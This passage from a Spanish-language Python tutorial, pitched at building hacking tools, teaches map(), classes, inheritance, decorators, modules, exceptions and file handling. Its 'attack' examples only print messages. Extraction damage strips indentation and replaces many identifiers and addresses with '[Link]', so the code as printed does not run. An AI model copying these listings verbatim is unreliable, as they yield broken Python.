Ahora, podemos usar una función anónima en combinación con map() esto, para obtener el mismo resultado
de una manera mucho más simple:

In [181]:
port = [21,22, 23, 80]
def bruteforce(x):
print("[+] brute force attack port " +str(x))
def fuzzing(x):
print("[+] fuzzing attack port " +str(x))
funciones = [bruteforce, fuzzing]
for e in port:

74
list(map(lambda x : x(e), funciones))

[+] brute force attack port 21


[+] fuzzing attack port 21
[+] brute force attack port 22
[+] fuzzing attack port 22
[+] brute force attack port 23
[+] fuzzing attack port 23
[+] brute force attack port 80
[+] fuzzing attack port 80

La función map() es bastante común entre programadores… y más de alguna vez nos la vamos a encontrar
revisando código ajeno. Por eso vale la pena practicarla un poco… entender cómo trabaja… y, sobre todo,
perderle ese miedo inicial que suele generar cuando uno recién la ve.

La idea es simple: la función map() ejecuta una función específica para cada elemento de un iterable. Cada
elemento se envía a la función como parámetro… uno por uno… como si Python fuera pasando cada dato
por una pequeña máquina que aplica la transformación que nosotros definimos.

En términos simples… a map() le podemos pasar: una función y una lista (o cualquier iterable) y Python se
encarga de aplicar esa función a todos los elementos, evitando que escribamos bucles largos o código
repetitivo. Es una manera limpia de acortar camino… mantener el script ordenado… y darle un toque más
funcional al proyecto.

La sintaxis es:

map(function, iterables)

Pasemos primero a un ejemplo sencillo… y luego a uno un poco más complejo para entender realmente
cómo opera map() en la práctica.

In [182]:
def readbanner(ip, port):
return "Conection to " + ip + ":" + str(port)

x = map(readbanner, ('[Link]', '[Link]', '[Link]'), (80, 8081, 443))

In [183]:
list(x)

Out[183]:
['Conection to [Link]:80',
'Conection to [Link]:8081',
'Conection to [Link]:443']

75
Teniendo el ejemplo anterior… que es más sencillo de entender… Pasemos ahora a un código que sí se usa
en la vida real: validar si una dirección IP es válida o no. Este tipo de validaciones aparece en varios
proyectos, sobre todo en seguridad informática... así que es un buen ejemplo para ver map() trabajando en
algo más concreto.

Esta vez dejaré comentarios en el código… para que el paso a paso se pueda leer con calma y se entienda
qué hace cada parte del proceso.

In [184]:
# definimos una función donde recibimos un parámetro de entrada que será la IP
def isValidIP(s):

if [Link]('.') != 3: # preguntamos, si dentro del string existen más de 3


puntos o menos de tres puntos
return 'Invalid Ip address' # si la comparación es verdadera se retorna que
la ip es inválida
#si paso el filtro anterior, se dividirá el string en 4 partes con la función
split()
l = list(map(str, [Link]('.'))) # su resultado deberá quedar asa ['10', '10',
'1', '3']

for ele in l: # recorremos los elementos de la lista


# se valida que cada elemento de la lista sea mayor a cero o menor a 255 o
# que el primer carácter del elemento sea distinto a cero y que la cantidad
de caracteres sea distinto a uno.
if int(ele) < 0 or int(ele) > 255 or (ele[0]=='0' and len(ele)!=1):
return 'Invalid Ip address'
# si la rutina llega hasta aqui y pasó los filtros anteriores se deduce que la IP
es válida
return 'Valid Ip address'

Desmenucemos este algoritmo para entender la lógica y vayamos soltando la mente, este ejercicio es un
poco más complejo para un principiante que ve por primera vez el uso de map(). La primera validación es la
siguiente, carguemos manualmente el parámetro de entrada s:

In [185]:
s ="[Link]"

Ahora hagamos la primera comparación [Link]('.') != 3 solo podemos pasar esa validación...si el
resultado es False, si fuese verdadera la afirmación nos retornaría un Invalid Ip address:

In [186]:
[Link]('.') != 3

76
Out[186]:
False

Una vez pasado el primer filtro, se separa el string en una lista como se ve en el ejercicio posterior.

In [187]:
list(map(str, [Link]('.')))

Out[187]:
['10', '10', '1', '3']

Esta última validación es de formato y la probaremos para ver su resultado, tomando por ejemplo el primer
octeto:

In [188]:
ele = "10"
int(ele) < 0 or int(ele) > 255 or (ele[0]=='0' and len(ele)!=1)

Out[188]:
False

Finalmente, probemos la función con una Ip válida y una Inválida:

In [189]:
print(isValidIP('[Link]'))

Valid Ip address

In [190]:
print(isValidIP('[Link]'))

Invalid Ip address

Clases y Métodos en Python


Clases en Python

La programación orientada a objetos (POO, u OOP según sus siglas en inglés) es un paradigma de
programación que viene a innovar la forma de obtener resultados. Los objetos manipulan los datos de
entrada para la obtención de datos de salida específicos, donde cada objeto ofrece una funcionalidad
especial.

77
Muchos de los objetos pre-diseñados de los lenguajes de programación actuales permiten la agrupación en
bibliotecas o librerías, sin embargo, muchos de estos lenguajes permiten al usuario la creación de sus
propias bibliotecas.

La programación orientada a objetos difiere de la programación estructurada tradicional, en la que los datos y
los procedimientos están separados y sin relación, ya que lo único que se busca es el procesamiento de
unos datos de entrada para obtener otros de salida.

La programación estructurada anima al programador a pensar sobre todo en términos de procedimientos o


funciones, y en segundo lugar en las estructuras de datos que esos procedimientos manejan. En la
programación estructurada solo se escriben funciones que procesan datos. Los programadores que emplean
POO, en cambio, primero definen objetos para luego enviarles mensajes solicitándoles que realicen sus
métodos por sí mismos. La POO es una forma de programar que trata de encontrar una solución a
problemas de cualquier tipo. Introduce nuevos conceptos, que superan y amplían conceptos antiguos ya
conocidos. Entre ellos destacan los siguientes:

Objeto Instancia de una clase. Entidad provista de un conjunto de propiedades o atributos (datos) y de
comportamiento o funcionalidad (métodos), los mismos que consecuentemente reaccionan a eventos. Se
corresponden con los objetos reales del mundo que nos rodea, o con objetos internos del sistema (del
programa).

Clase Definiciones de las propiedades y comportamiento de un tipo de objeto concreto. La instanciación es


la lectura de estas definiciones y la creación de un objeto a partir de ella.

Método Algoritmo asociado a un objeto (o a una clase de objetos), cuya ejecución se desencadena tras la
recepción de un "mensaje". Desde el punto de vista del comportamiento, es lo que el objeto puede hacer. Un
método puede producir un cambio en las propiedades del objeto, o la generación de un "evento" con un
nuevo mensaje para otro objeto del sistema.

Evento Es un suceso en el sistema (tal como una interacción del usuario con la máquina, o un mensaje
enviado por un objeto). El sistema maneja el evento enviando el mensaje adecuado al objeto pertinente.
También se puede definir como evento la reacción que puede desencadenar un objeto; es decir, la acción
que genera.

Atributos características que tiene la clase.

En términos simple, una clase es una cosa, un método es lo que hace la cosa, los atributos son variables y
las instancias son copias de un objeto con sus métodos. Ahora se podrían estar preguntando, que diferencia
tiene un método a una función y la respuesta es que un método está dentro de una clase y una función está

78
fuera. Me gustaría profundizar mucho más en este tema, pero me desenfocaría del objetivo principal por el
cual escribo, que es enseñar a hacer herramientas de hacking. Después de esta breve introducción vamos a
ver unos ejemplos prácticos. Las clases en python se definen con la palabra reservada class seguida del
nombre genérico del objeto y finalizando con dos puntos (:)

Ejemplo clase:

class Ataque:
...
...

Las propiedades del objeto Ataque podrían ser por ejemplo la dirección ip y el puerto a atacar.

Ejemplo Propiedades:

class Ataque:
ip = "[Link]"
puerto = 80
...

Los métodos son funciones o mini tareas que realiza el objeto en forma de rutina, como por ejemplo
conectarse con un servidor, escribir en un archivo, etc.

Ejemplo métodos:

In [191]:
class Ataque:
def __init__(self, ip, puerto):
[Link] = ip
[Link] = puerto
def FuerzaBrutaSSH(self):
print ("SSH >> atacando al host " + [Link] + " Puerto : " + str([Link]))
def FuerzaBrutaFTP(self):
print ("FTP >> atacando al host " + [Link] + " Puerto : " + str([Link]))

Nótese el cambio que realice, el primer método __init __ () es un método especial, se llama constructor
de la clase o el método de inicialización. Es lo primero que se ejecuta cuando sé instancia la clase.

El __init__() método generalmente se usa para realizar operaciones que


son necesarias antes de que se cree el objeto.

La palabra reservada self hace referencia al mismo objeto, es decir, se llama a sí mismo, esto significa que
cuando llamamos a [Link], recogemos lo que está dentro de la variable ip en el programa de ejemplo.

79
El self parámetro se refiere al objeto individual en sí. Se utiliza para obtener o establecer atributos de la
instancia en particular.

Ahora vamos a ver un ejemplo de instancia de la clase ataque:

In [192]:
# Se asigna la clase ataqué a la variable atq
atq = Ataque("[Link]",22) # La clase necesita dos parámetros (Ip,puerto)
[Link]() # Al estar cargadas las variables se utilizan y se puede
ejecutar el método FuerzaBrutaSSH()
[Link] = 21 # Se puede cambiar el puerto si se desea solo modificando el atributo
llamado puerto.
[Link]() # Al heredar el objeto se puede usar el método FuerzaBrutaFTP()
[Link] = 2222 # Si vemos nuevamente, se puede cambiar el atributo sin cambiar la
lógica del programa.
[Link]() # Podemos ejecutar a gusto el método cuantas veces queramos.

SSH >> atacando al host [Link] Puerto : 22


FTP >> atacando al host [Link] Puerto : 21
SSH >> atacando al host [Link] Puerto : 2222

El hecho de llamar a la clase Ataque y guardarla en una variable se llama instancia y significa en palabras
simples que, la clase Ataque con todos sus métodos y atributos son asignados a atq y así le decimos que se
va a llamar ahora, es como heredar los superpoderes solamente por asignarlos y ponerles un nombre nuevo.
La POO se creó con el sentido de poder humanizar la codificación y hacer más fácil la mantención y
entendimiento del software.

Como podemos apreciar en el código... se usa el ataque como un objeto el cual tiene atributos y métodos,
cada método se puede reutilizar en función de cambiar su atributo. Luego de estar instanciado y heredar
todos sus métodos en una variable, podemos repetir una tarea varias veces y modificar los elementos las
veces que queramos sin cambiar su estructura principal.

Herencia en Python
La herencia nos permite definir una clase que hereda todos los métodos y propiedades de otra. Es una forma
cómoda de reutilizar código… extenderlo… y evitar que estemos escribiendo lo mismo una y otra vez. En
Python, esta mecánica es muy natural y le da mucha flexibilidad a nuestro diseño.

●​ La clase padre (o clase base) es la que tiene las propiedades originales.


●​ La clase hijo (o clase derivada) es la que recibe esas capacidades… y puede agregar las suyas
propias.

Para verlo de una manera más entretenida, imaginemos el siguiente escenario….

80
Un ejemplo galáctico para aterrizar la idea

Supongamos que tenemos una clase padre llamada Jedi. Dentro trae métodos clásicos como:

●​ usar_la_fuerza()
●​ encender_sable()
●​ mantener_calma_en_medio_del_caos()

Ahora… definimos una clase hijo llamada Luke. Luke hereda todo lo anterior tal cual… porque, bueno…
heredó la Fuerza de su padre, Darth Vader, aunque nadie en la galaxia esperaba que la herencia viniera con
tanto drama familiar.

Pero claro… Luke también puede definir sus propios métodos… por ejemplo:

●​ detectar_tormenta_en_la_fuerza()
●​ ignorar_tentaciones_del_lado_oscuro()

La gracia es que Luke no parte de cero… parte con una base sólida. Y eso mismo buscamos cuando
diseñamos nuestras clases en Python, partir con un “Jedi base” y agregar las habilidades necesarias para la
misión.

Ahora sí… el pase natural al ejemplo técnico...

Así como Luke usa la herencia para complementar sus habilidades, nosotros podemos usarla para modelar
comportamientos más específicos… como distintas clases de ataques, todas basadas en una clase general
llamada, por ejemplo, Ataque.

Ejemplo:

In [193]:
class Ataque: # Definamos esta clase como la clase padre.
def __init__(self, ip, puerto):
[Link] = ip
[Link] = puerto
def FuerzaBrutaSSH(self):
print ("SSH >> atacando al host " + [Link] + " Puerto : " + str([Link]))
def FuerzaBrutaFTP(self):
print ("FTP >> atacando al host " + [Link] + " Puerto : " + str([Link]))

#Creamos una clase hijo llamada VulnerabilityScan que hereda los ataques de su padre.
class VulnerabilityScan(Ataque):
pass

Nota: Utilice la pass palabra clave cuando no desee agregar otras


propiedades o métodos a la clase.

Ahora si llamamos a la clase VulnerabilityScan para ejecutarla, sería de la siguiente manera.

81
Ejemplo:

In [194]:
x = VulnerabilityScan("[Link]", 21)
[Link]()

FTP >> atacando al host [Link] Puerto : 21

Ahora, si deseamos agregar a la clase hijo una nueva funcionalidad, se podría hacer de la siguiente manera:

In [195]:
class Ataque: # definamos esta clase como la clase padre
def __init__(self, ip, puerto):
[Link] = ip
[Link] = puerto
def FuerzaBrutaSSH(self):
print ("SSH >> atacando al host " + [Link] + " Puerto : " + str([Link]))
def FuerzaBrutaFTP(self):
print ("FTP >> atacando al host " + [Link] + " Puerto : " + str([Link]))

class VulnerabilityScan(Ataque):
def getBanner(self): # nueva funcionalidad
print ("Obteniendo Banner del Host :" + [Link] + " Puerto : " +
str([Link]))

Ejecutamos la clase con su nuevo método añadido:

In [196]:
x = VulnerabilityScan("[Link]", 21)
[Link]()
[Link]()

Obteniendo Banner del Host :[Link] Puerto : 21


FTP >> atacando al host [Link] Puerto : 21

Como se puede ver en los ejemplos, como programadores tenemos siempre la posibilidad de extender
funcionalidades según lo necesitemos, usarlas a voluntad y entregar superpoderes a nuestro código siempre
y cuando lo tengamos ordenado pensando en objetos.

Decoradores
No puedo terminar este módulo sin hablar de decoradores. Y sí… lo admito… esto es más un gusto personal
que una obligación del temario, pero vale completamente la pena. Los decoradores son una de esas

82
genialidades que tiene la programación en Python… pequeñas piezas de magia que permiten hacer cosas
muy potentes con muy poco código.

En simple, un decorador es una función… que recibe otra función… y devuelve una función. Sí, lo sé…
suena a trabalenguas. Y probablemente abriste los ojos pensando..... este tipo está definitivamente loco.
Bueno… puede que sí… pero aún así, todo lo que acabo de decir es perfectamente válido en Python.

Lo entretenido es que en este lenguaje, una función puede:

●​ ser asignada a una variable,


●​ ser enviada como argumento a otra función,
●​ o incluso ser retornada, si la situación lo amerita.

Ese nivel de flexibilidad permite crear decoradores que extienden el comportamiento de una función sin
modificar su contenido original. Es como ponerle un “filtro” extra… una capa adicional… algo que envuelve y
mejora lo que ya existe, sin tocarlo directamente.

Veamos un ejemplo en código:

In [197]:
def attackweb(): # Creamos una función.
print("[+] Brute Force Attack ...")

def stepone(funcion): # Recibimos una función de argumento y la ejecutamos.


funcion()

mi_var = attackweb # Le pasamos la función a una variable.


stepone(mi_var) # Ejecutamos la función de la función :)

[+] Brute Force Attack ...

Parece una locura, pero es cierto, se pueden hacer este tipo de cosas en python y es más común su uso de
lo que uno creería que sucede.

Veamos otro ejemplo para ir entendiendo su funcionamiento y vamos a ponerles nombres literales para que
se entienda su funcionamiento y orden de ejecución:

In [198]:
def funcion_primera(funcion_del_medio):
def funcion_final():
print('Inicio de la ejecución')
funcion_del_medio()
print('Después de la ejecución ')

return funcion_final

83
Con el símbolo @nombre_de_mi_funcion_decoradora se llama al decorador.

In [199]:
@funcion_primera
def relleno():
print('[ Starhacks ]')

Ahora basta solo con llamar a la función relleno para que se ejecute esta y desencadene los decoradores.

In [200]:
relleno()

Inicio de la ejecución
[ Starhacks ]
Después de la ejecución

Este ejemplo es muy parecido a un emparedado donde se tiene unas dos tapas y un relleno.

Ahora, compliquemos un poco más el uso de decoradores y apliquémoslo a un ejemplo de hacking......


Vamos a escribir una función decoradora, que cuente el tiempo que se demora en romper una contraseña:

In [109]:
import time
def crack_time(function):
def wrapper(*args, **kwargs): # Al envoltorio le indicamos que queremos recibir
parámetros de entradas
start = [Link]() # Tiempo de inicio
result = function(*args, **kwargs) # La función retorna un resultado
total = [Link]() - start # Contar el tiempo total (término - inicio)
print(total, 'seconds' ) # Imprimimos el resultado.
return result

return wrapper

Teniendo la función lista con nombre crack_time ... procedemos a llamarla ahora desde nuestro programa
principal para que posteriormente sea decorado.

Nota: "Usamos la notación 'comodín' o '*' como esta: *args O **kwargs


como argumento de nuestra función cuando tenemos dudas sobre la
cantidad de argumentos que debemos pasar en una función.

In [202]:
@crack_time
def bruteforece_number(desde, hasta):
import time # Librería necesaria para manejar el tiempo en python
for num in range(desde,hasta):# Creamos credenciales numéricas por rangos
[Link](1) # Esperamos un segundo entre iteración

84
print ("Attack password: 000" + str(num)) # Imprimimos password

bruteforece_number(0, 3)# Ejecutamos el decorador

Attack password: 0000


Attack password: 0001
Attack password: 0002
3.001819372177124 seconds

Creación de Módulo Exportables


Si en algún momento queremos exportar nuestro código y convertirlo en una librería propia, necesitamos
mover todo el contenido a un archivo y guardarlo con la extensión .py. Esa es la forma en que Python
reconoce módulos… y cómo después podemos importarlos desde cualquier otro script.

Vamos a hacer un ejercicio práctico en Jupyter para entender mejor este proceso. La forma exacta puede
cambiar un poco según la plataforma… pero lo importante es comprender de dónde vienen los import y cómo
se crean nuestras propias librerías.

Lo primero, será crear una carpeta usando un comando de Windows dentro de esta máquina. Esto nos
permite simular la estructura de trabajo real… tal como si estuviéramos organizando nuestro proyecto en un
entorno local.

Vamos paso a paso….

In [213]:
# !mkdir mi_carpeta #si estás usando linux
!md mi_carpeta

Le daremos permisos de ejecución:

In [214]:
# !chmod +x -R mi_carpeta/ # si usas linux
!icacls mi_carpeta /grant "%USERNAME%":(RX,W) /T

archivo procesado: mi_carpeta


Se procesaron correctamente 1 archivos; error al procesar 0 archivos

In [216]:
# !pwd # si usas Linux
!dir

El volumen de la unidad C es Acer


El número de serie del volumen es: FAD4-074E

85
Directorio de C:\Users\starh\OneDrive\Desktop

19-11-2025 22:46 <DIR> .


19-07-2025 20:38 <DIR> ..
18-11-2025 23:12 <DIR> .ipynb_checkpoints
02-10-2025 00:43 17.722 [Link]
19-07-2025 23:43 288.707 CP210x_Universal_Windows_Driver.zip
15-11-2025 16:40 864.132 Cyberdefense con [Link]
31-10-2025 18:24 2.182.415 [Link]
20-10-2025 16:17 <DIR> hackers
19-07-2025 20:32 2.354 Microsoft [Link]
19-11-2025 22:46 <DIR> mi_carpeta
31-10-2025 18:11 3.218 [Link]
20-07-2025 00:13 2.398 Sebastian - [Link]
19-11-2025 22:45 2.285.828 [Link]
20-10-2025 23:45 2.946 Strudel [Link]
18-11-2025 22:32 13.385.764 video.mp4
15-11-2025 11:53 1.715.833 WhatsApp Video 2025-11-15 at 11.52.40 AM.mp4
18-11-2025 22:36 6.534.387 [Link]
12 archivos 27.285.704 bytes
5 dirs [Link] bytes libres

Ingresamos a la carpeta para escribir archivos vacíos en ella con touch en caso de linux o manualmente en
windows:

In [217]:
# !touch /content/mi_carpeta/mi_modulo.py # si usas linux
# !touch /content/mi_carpeta/[Link] # si usas linux

!type nul > mi_carpeta\mi_modulo.py


!type nul > mi_carpeta\[Link] #

El sistema no puede encontrar el archivo especificado.


Error mientras se procesaba: #.

En esta parte debes ingresar, buscar tus archivos y escribir tu código sobre ella, si buscas en tus
documentos, la carpeta y los archivos estarán en el menú a tu izquierda en el icono archivos:

86
Completamos los archivos con los siguientes códigos:

Posterior a esto, escribes un archivo llamado [Link] y escribes lo siguiente para llamar a tu módulo:

from mi_modulo import *

atq = Ataque("[Link]",22)
[Link]()
[Link] = 21
[Link]()
[Link] = 2222
[Link]()

Finalmente, ejecutas tu archivo con el siguiente comando y tendrás tu propio módulo funcionando:

In [219]:
!python mi_carpeta/[Link]

SSH >> atacando al host [Link] Puerto : 22


FTP >> atacando al host [Link] Puerto : 21
SSH >> atacando al host [Link] Puerto : 2222

Estos pasos en una máquina local es mucho más fácil de realizar, pero para no salirnos de este entorno y
que el libro se pueda sustentar en su mayoría en esta plataforma, decidí explicar su desarrollo en este mismo
entorno virtual.

Excepciones de Python
Aprender a manejar excepciones en Python es una de las cosas más útiles cuando creamos herramientas de
ciberseguridad. Gran parte del trabajo en pentesting consiste en probar algo, inyectar algo, y esperar
resultados inesperados. Y si nuestro script no está preparado para fallar… bueno… vamos a terminar con un

87
software inestable, de esos que a veces funcionan… y a veces deciden tomarse el día libre. Si queremos
construir herramientas que no se interrumpan por cualquier error, como intentar conectarse a un puerto
específico, abrir un archivo, escribir un log o procesar un paquete extraño, necesitamos agregar intentos y
excepciones en Python. Las excepciones nos permiten manejar esas situaciones sin que el programa
completo se caiga. Es como decirle al script...... Ya, inténtalo… pero si algo sale mal, no entres en pánico…
avísame, respira… y sigue adelante.

Este enfoque es clave en seguridad informática, donde los resultados rara vez son 100% predecibles… y la
robustez del código es tan importante como la lógica que estamos escribiendo. Listo… ahora podemos pasar
a la Sintaxis:

Python ejecuta el bloque try como una parte normal del programa… y cuando ocurre un error durante su
ejecución, el resto del bloque se detiene y pasa inmediatamente a ejecutar el bloque except.

Es como decirle al código... intenta esto… y si algo sale mal, no te caigas… simplemente toma este otro
camino”.

Un ejemplo clásico es intentar dividir un número por cero… algo que siempre termina mal y que Python
detecta al instante. Aquí lo podemos ver claramente:

In [220]:
x = 1/0
print("[-] Tarea Importante por realizar...")

---------------------------------------------------------------------------
ZeroDivisionError Traceback (most recent call last)
Cell In[220], line 1
----> 1 x = 1/0
2 print("[-] Tarea Importante por realizar...")

88
ZeroDivisionError: division by zero
El resultado de ese ejemplo es un error que rompe el script… paraliza toda la rutina… y ni siquiera alcanza a
ejecutar el print que viene después. Python simplemente detiene la ejecución porque la operación no se
puede resolver.

Para evitar este tipo de situaciones, usamos el manejo de excepciones. Así, en lugar de que el programa se
caiga, podemos capturar el error y seguir funcionando con normalidad.

Veamos el resultado usando try y except….

In [221]:
try:
x = 1/0
except:
print('Ups Ocurrió un error.')
print("[-] Tarea Importante por realizar...")

Ups Ocurrió un error.


[-] Tarea Importante por realizar...

Como se puede apreciar en el resultado, el error se produce de igual manera, pero la diferencia.... es que la
rutina del print, sí se alcanza a ejecutar y el programa sigue su curso.

Ahora, se puede personalizar un poco más nuestro código, si capturamos el error y lo imprimimos por
pantalla:

In [222]:
try:
x = 1/0
except Exception as e:
print(e)

division by zero

except Exception as e es la forma en que cambiamos el manejo de la excepción para capturar el error y
guardarlo dentro de una variable. En este caso, renombramos la excepción como e… y luego podemos
imprimirla, registrarla o procesarla como queramos. Es una manera ordenada de entender qué pasó sin que
el programa completo se caiga.

Además, las excepciones se pueden capturar de manera múltiple si conocemos la causa de la interrupción.
Por ejemplo, la primera vez que ejecutamos una división por cero, Python nos mostró que el problema era un

89
ZeroDivisionError. Si sabemos el tipo exacto de error, podemos atraparlo directamente y manejarlo de forma
más específica… lo que nos permite escribir código más robusto y mucho más preciso al depurar.

In [223]:
try:
​ x = 1/0
except ZeroDivisionError:
​ print('Error al dividir por Cero')
except:
​ print('Ups... Ocurrió un error desconocido.')

Error al dividir por Cero

Como se puede apreciar en el resultado… cuando hacemos debug de nuestros software, es necesario
probar los errores por pantalla para entender con precisión qué está fallando… y así poder tomar acciones
cuando corresponda. En ciberseguridad esto es especialmente importante, porque los errores no siempre
son obvios… y a veces un simple detalle cambia todo el comportamiento del script.

Ahora veamos un ejercicio más cercano al hacking: vamos a intentar leer un archivo que no existe desde
nuestro script para provocar un error inesperado. Además, usaremos un bloque nuevo llamado finally, cuya
tarea es siempre ejecutar su contenido al finalizar el bloque, sin importar si hubo error o no.

Ejemplo:

In [227]:
f = None

try:
f = open('configuration_server.yml') # abrimos el archivo que no existe
print([Link]()) # intentamos leerlo y mostrarlo por pantalla
except Exception as e:
print("Ocurrió un error inesperado:", e) # mensaje en caso de error
finally:
if f is not None:
[Link]() # siempre se debe cerrar el puntero cuando se abre un archivo

Ocurrió un error inesperado: [Errno 2] No such file or directory:


'configuration_server.yml'

90
Manejo de Archivos en Python
Python nos entrega, de manera predeterminada, todas las funciones y métodos necesarios para manipular
archivos. Y esto es una ventaja enorme si pensamos que, en Linux y Unix, todo es un archivo: carpetas,
dispositivos, puertos, configuraciones… todo termina siendo un descriptor más dentro del sistema.

En pentesting esto es aún más crítico. Leer logs, escribir reportes, extraer información, revisar
configuraciones… manejar archivos es parte del día a día. Si dominamos esta parte, es casi seguro que en
algún momento nos va a salvar la vida en un análisis o una auditoría.

Función open()

Antes de leer o escribir en un archivo, debemos abrirlo usando la función open(). Esta función crea un objeto
file, que luego utilizamos para llamar a distintos métodos asociados a él.

Sintaxis

archivo = open(Nombre_archivo [, Modo_apertura][, Bufer])

●​ Nombre_archivo: Es una cadena que contiene el nombre del archivo al que queremos acceder.
●​ Modo_apertura: Indica en qué modo se abrirá el archivo: lectura, escritura, añadir, etc. Es un
parámetro opcional… y si no especificamos nada, Python abre el archivo en modo lectura (r) por
defecto.
●​ Búfer: Determina el tamaño del buffer que se utilizará. No siempre es necesario modificarlo, pero es
parte de los argumentos disponibles.

Modos de apertura de archivo y su descripción

●​ r = Abre un archivo de sólo lectura. Este es el modo por defecto.


●​ rb = Abre un archivo de sólo lectura en formato binario.
●​ r+ = Abre un archivo en modo de lectura y escritura.
●​ rb+ = Abre un archivo para lectura y escritura en formato binario.
●​ w = Abre un archivo para sólo escritura. Sobrescribe el archivo si existe. Si no existe el archivo, crea
un nuevo archivo para escritura.
●​ wb = Abre un archivo para escribir en formato binario. Sobreescribe el archivo si existe. Si no existe
el archivo, crea un nuevo archivo para escritura.
●​ w+ = Abre un archivo para escritura y lectura. Sobrescribe el archivo existente. Si no existe el
archivo, crea un nuevo archivo para la lectura y la escritura.
●​ WB+ = Abre un archivo para escritura y lectura en formato binario. Sobrescribe el archivo existente.
Si no existe el archivo, crea un nuevo archivo para la lectura y la escritura.
●​ un = Abre un archivo para anexar. El puntero del archivo se encuentra al final si existe el archivo. Es
decir, el archivo se encuentra en la modalidad de apertura. Si no existe el archivo, se crea un nuevo
archivo para escritura.
●​ ab = Abre un archivo para anexar en formato binario. El puntero del archivo se encuentra al final del
archivo. Es decir, el archivo se encuentra en la modalidad de apertura. Si no existe el archivo, se crea
un nuevo archivo para escritura.

91
●​ a+ = Abre un archivo tanto para anexar y lectura. El puntero del archivo se encuentra al final. El
archivo se abre en la modalidad de apertura. Si no existe el archivo, se crea un nuevo archivo para la
lectura y la escritura.
●​ ab+ = Abre un archivo tanto para anexar y la lectura en formato binario. El puntero del archivo se
encuentra al final del archivo .El archivo se abre en la modalidad de apertura. Si no existe el archivo,
se crea un nuevo archivo para la lectura y la escritura.

Atributos del objeto File

Una vez que se abre un archivo, se puede obtener diversa información relacionada con ese archivo.. aquí
está una lista de algunos atributos relacionados con el objeto File:

●​ [Link] = Devuelve true si el archivo está cerrado, falso en caso de que este abierto.
●​ [Link] = Devuelve el modo de acceso con el que se abrió el objeto.
●​ [Link] = Devuelve el nombre del archivo.

Ejemplo:

In [228]:
archivo = open("[Link]" , "wb") # Creamos el archivo si no existe.

Verificamos su creación en el sistema operativo con el comando Windows dir

In [229]:
# !ls # para linux
!dir

El volumen de la unidad C es Acer


El número de serie del volumen es: FAD4-074E

Directorio de C:\Users\starh\OneDrive\Desktop

19-11-2025 23:08 <DIR> .


19-07-2025 20:38 <DIR> ..
18-11-2025 23:12 <DIR> .ipynb_checkpoints
02-10-2025 00:43 17.722 [Link]
19-07-2025 23:43 288.707 CP210x_Universal_Windows_Driver.zip
15-11-2025 16:40 864.132 Cyberdefense con [Link]
31-10-2025 18:24 2.182.415 [Link]
20-10-2025 16:17 <DIR> hackers
19-07-2025 20:32 2.354 Microsoft [Link]
19-11-2025 23:00 <DIR> mi_carpeta
31-10-2025 18:11 3.218 [Link]
19-11-2025 23:08 0 [Link]
20-07-2025 00:13 2.398 Sebastian - [Link]
19-11-2025 23:07 2.331.776 [Link]
20-10-2025 23:45 2.946 Strudel [Link]
18-11-2025 22:32 13.385.764 video.mp4

92
15-11-2025 11:53 1.715.833 WhatsApp Video 2025-11-15 at 11.52.40 AM.mp4
18-11-2025 22:36 6.534.387 [Link]
13 archivos 27.331.652 bytes
5 dirs [Link] bytes libres

Ahora intentemos acceder a sus atributos.

In [230]:
print("[-] Nombre Archivo : "+ [Link])
print("[-] Modo de Apertura : "+ [Link])
print("[-] Está cerrado ? : "+ str([Link]))

[-] Nombre Archivo : [Link]


[-] Modo de Apertura : wb
[-] Está cerrado ? : False

El método close()

El método close elimina cualquier información escrita en memoria y cierra el objeto File. Por otra parte, un
archivo se cierra automáticamente cuando el objeto de referencia de un archivo es reasignado a otro archivo.
Es una buena práctica utilizar el método close() para cerrar un archivo.

In [231]:
archivo = open("[Link]" , "wb") # Creamos el archivo si no existe.
print("[-] Nombre Archivo : "+ [Link])
print("[-] Modo de Apertura : "+ [Link])
print("[-] Está cerrado ? : "+ str([Link]))
[Link]() # cerramos el archivo
print("[-] Está cerrado ? : "+ str([Link]))

[-] Nombre Archivo : [Link]


[-] Modo de Apertura : wb
[-] Está cerrado ? : False
[-] Está cerrado ? : True

Se puede apreciar en el código fuente como que después de ejecutar el método close, se cierra el puntero
que estaba sobre el archivo. Se puede apreciar en el código fuente que, después de ejecutar el método
close, se cierra el puntero que estaba sobre el archivo. Esto es importante, porque mientras el puntero esté
abierto, el archivo sigue en uso… y recién después de cerrarlo Python libera ese recurso.

Lectura y escritura de archivos

El objeto file nos entrega un conjunto de métodos que facilitan mucho el trabajo con archivos. En los
siguientes ejemplos vamos a usar los métodos read() y write()… que son los más comunes cuando estamos
manipulando datos.

Método write()

93
El método write() escribe una cadena dentro de un archivo abierto. Y aquí hay un detalle importante: en
Python, una cadena puede incluir texto o datos binarios, por lo que este método no está limitado a contenido
“legible”.

Otro punto clave es qué write() no agrega saltos de línea (\n) automáticamente. Si queremos que cada
registro quede ordenado o separado, debemos incluir \n manualmente dentro del código.

Ejemplo:

In [232]:
host_ = open("[Link]" , "w+")
host_.write("[Link]\n")
host_.write("[Link]\n")
host_.write("[Link]\n")
host_.write("[Link]\n")
host_.close()

En el ejemplo agregamos 4 host al archivo [Link]

Método read()

El método de read () lee una cadena de un archivo abierto. Es importante tener en cuenta que las cadenas
en Python pueden tener datos binarios. Además de los datos de texto.

Ejemplo:

In [233]:
host_ = open("[Link]" , "r")
contenido = host_.read() # Con el método read leemos todo el documento
print(contenido)
host_.close()

[Link]
[Link]
[Link]
[Link]

Ahora… si nos imaginamos que necesitamos escanear distintos sitios web… una forma práctica de hacerlo
es guardar todos nuestros objetivos en un archivo de texto. Ese archivo se convierte en el input de nuestro
programa… y el ejemplo anterior nos sirve justamente como base para leerlo línea por línea.

La idea es simple, el script toma cada dirección desde el archivo… la procesa… y ejecuta el escaneo
correspondiente.

Hagamos un ejemplo….

94
In [234]:
host_ = open("[Link]" , "r")
contenido = host_.readlines() # con este método leemos linea por linea, su retorno es
una lista
for linea in contenido:
print("[+] Escaneando el Objetivo : " + linea )
host_.close()

[+] Escaneando el Objetivo : [Link]

[+] Escaneando el Objetivo : [Link]

[+] Escaneando el Objetivo : [Link]

[+] Escaneando el Objetivo : [Link]

Desde Python versión 2.5 en adelante, se creó una nueva forma de abrir archivos donde nos permite
aperturar un archivo y al dejar su uso cerrarlo automáticamente, esto significa nos existe una forma más fácil
de leer archivos con la palabra reservada with.

Ejemplo:

In [235]:
with open("[Link]" , "r") as archivo:
print([Link]() )

[Link]
[Link]
[Link]
[Link]

Otra forma de hacer el mismo proceso.

In [236]:
with open("[Link]" , "r") as f:
for line in f:
print("[+] Escaneando el Objetivo : " + line )

[+] Escaneando el Objetivo : [Link]


[+] Escaneando el Objetivo : [Link]
